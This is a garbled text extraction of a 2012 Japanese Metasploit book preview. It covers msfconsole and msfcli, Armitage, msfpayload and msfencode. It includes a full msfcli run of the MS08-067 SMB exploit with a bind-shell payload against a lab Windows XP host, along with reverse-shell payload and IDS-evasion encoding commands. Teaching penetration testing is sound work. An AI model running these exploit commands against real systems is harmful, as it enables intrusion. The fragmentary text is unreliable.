Metasploit 2012.indb

Size: px

Start display at page:

Download "Metasploit 2012.indb"

くにもといまいだ
7 years ago
Views:

1 7 2 Metasploit Metasploit Framework MSF Metasploit Metasploit 2 Metasploit Metasploit 2.1 Metasploit エクスプロイト Web SQL Framework リバースシェル Windows 5 バインドシェル

Metasploit 2.1 Metasploit 2.1.1 エクスプロイト Web SQL 2.

2 8 2 Metasploit OS シェルコード Meterpreter モジュール Metasploit Framework exploitモジュール auxiliaryモジュール Framework リスナー Metasploit 2.2 Metasploit Metasploit Metasploit Framework Framework MSFconsole MSFconsole Metasploit Framework Framework 1 MSFconsole Framework auxiliary

4 モジュール Metasploit Framework exploitモジュール auxiliaryモジュール Framework 2.1.

3 2.2 Metasploit 9 MSFconsole Metasploit Framework MSFconsole MSFconsole MSFconsole MSFconsole msfconsole root@bt:~# cd /opt/framework/msf3/ root@bt:/opt/framework/msf3# msfconsole # cowsay++ < metasploit > ,, (oo) ( ) ) -- * =[ metasploit v4.2.0-dev [core:4.2 api:1.0] =[ 798 exploits auxiliary post =[ 246 payloads - 27 encoders - 8 nops =[ svn r14703 updated 21 days ago ( ) Warning: This copy of the Metasploit Framework was last updated 21 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: msf > msfconsole help connect msf > help connect MSFconsole MSFcli MSFcli MSFconsole Framework MSFconsole MSFcli MSFcli MSFconsole MSFcli MSFcli

2 api:1.0] + -- --=[ 798 exploits - 436 auxiliary - 133 post + -- --=[ 246 payloads - 27 encoders - 8 nops =[ svn r14703 updated 21 days ago (2012.02.

4 10 2 Metasploit MSFcli exploit auxiliary Framework MSFconsole msfcli -h root@bt:/opt/framework/msf3# msfcli -h Usage: /opt/framework/msf3/msfcli <exploit_name> <option=value> [mode] ====================================================================== Mode Description (A)dvanced Show available advanced options for this module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module (H)elp You're looking at it baby! (I)DS Evasion Show available ids evasion options for this module (O)ptions Show available options for this module (P)ayloads Show available payloads for this module (S)ummary Show information about this module (T)argets Show available targets for this exploit module root@bt:/opt/framework/msf3# msfcli Metasploit O ms08_067_netapi O root@bt:/opt/framework/msf3# msfcli windows/smb/ms08_067_netapi O [*] Please wait while we load the module tree... Name Current Setting Required Description RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) 3 RHOST RPORT SMBPIPE P root@bt:/opt/framework/msf3# msfcli windows/smb/ms08_067_netapi RHOST= P

for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module (H)elp You're looking at it baby!

5 2.2 Metasploit 11 [*] Please wait while we load the module tree... Compatible payloads =================== Name Description generic/custom Use custom string or file as payload. Set either PAYLOADFILE or PAYLOADSTR. generic/debug_trap Generate a debug trap in the target process generic/shell_bind_tcp Listen for a connection and spawn a command shell... 以下略... msfcli E root@bt:/opt/framework/msf3# msfcli windows/smb/ms08_067_netapi RHOST= PAYLOAD=windows/shell/bind_tcp E [*] Please wait while we load the module tree... _ ' ####### @@@@@',.'@@@@ "--'.@@@ @@, ; ( 3 C ) / / Metasploit! ;@'. *,." --- / '(.,..."/ =[ metasploit v4.2.0-dev [core:4.2 api:1.0] =[ 798 exploits auxiliary post =[ 246 payloads - 27 encoders - 8 nops =[ svn r14703 updated 21 days ago ( ) Warning: This copy of the Metasploit Framework was last updated 21 days ago. We recommend that you update the framework at least every other day. For information on updating your copy of Metasploit, please see: RHOST => PAYLOAD => windows/shell/bind_tcp [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2 - lang:japanese [*] Selected Target: Windows XP SP2 Japanese (NX)

.. msfcli E root@bt:/opt/framework/msf3# msfcli windows/smb/ms08_067_netapi RHOST=192.168.170.133 PAYLOAD=windows/shell/bind_tcp E [*] Please wait while we load the module tree... _---------.

6 12 2 Metasploit [*] Attempting to trigger the vulnerability... [*] Sending stage (240 bytes) to [*] Command shell session 1 opened ( : > :4444) at :21: Microsoft Windows XP [Version ] (C) Copyright Microsoft Corp. C: WINDOWS system32> Windows Armitage Metasploit Armitage Raphael Mudge Armitage Metasploit Framework GUI Armitage Armitage armitage Connect Armitage Metasploit root@bt:/opt/framework/msf3# armitage Armitage Metasploit 図 2-1 Metasploit RPC server armitage Connect Metasploit RPC server Yes RPC Connect java.net.connectexception: Connection refused armitage

2.3.1 Armitage Armitage armitage Connect Armitage Metasploit root@bt:/opt/framework/msf3# armitage Armitage Metasploit 図 2-1 Metasploit RPC server armitage Connect

7 2.3 Metasploit 13 図 2-1 Armitageのブラウザエクスプロイトメニュー 2.3 Metasploit Metasploit 3 Metasploit Framework MSFpayload Metasploit MSFpayload Framework C Ruby JavaScript Visual Basic for Applications Python Proof of Concept PoC C JavaScript HTML

MSFpayload Metasploit MSFpayload Framework C Ruby

8 14 2 Metasploit msfpayload -h root@bt:/# msfpayload -h msfcli payload O root@bt:/# msfpayload windows/shell_reverse_tcp O MSFpayload MSFencode msfpayload 0x00 0xFF Intrusion Detection System IDS Metasploit MSFencode MSFencode IDS MSFencode msfencode -h Metasploit x86/shikata_ga_nai Excellent 1 msfencode -l root@bt:~# msfencode -l NASM nasm_shell.rb jmp esp nasm_shell.rb FFE4

2 MSFencode msfpayload 0x00 0xFF Intrusion Detection System IDS Metasploit MSFencode MSFencode

9 nasm > jmp esp FFE4 jmp esp 2.4 Metasploit Express Metasploit Pro Metasploit Express Metasploit Pro Metasploit Framework Web Framework Web Framework Metasploit Pro Metasploit 2.5 Metasploit Framework

Metasploit 2012.indb

Metasploit 2012.indb 239 15 Metasploit Framework Metasploit Framework Metasploit Framework Perl Python C C++ Metasploit Python Perl Metasploit Framework Framework OS Framework 2 Framework Framework 15.1 15.1.1 EIP ESP レジスタ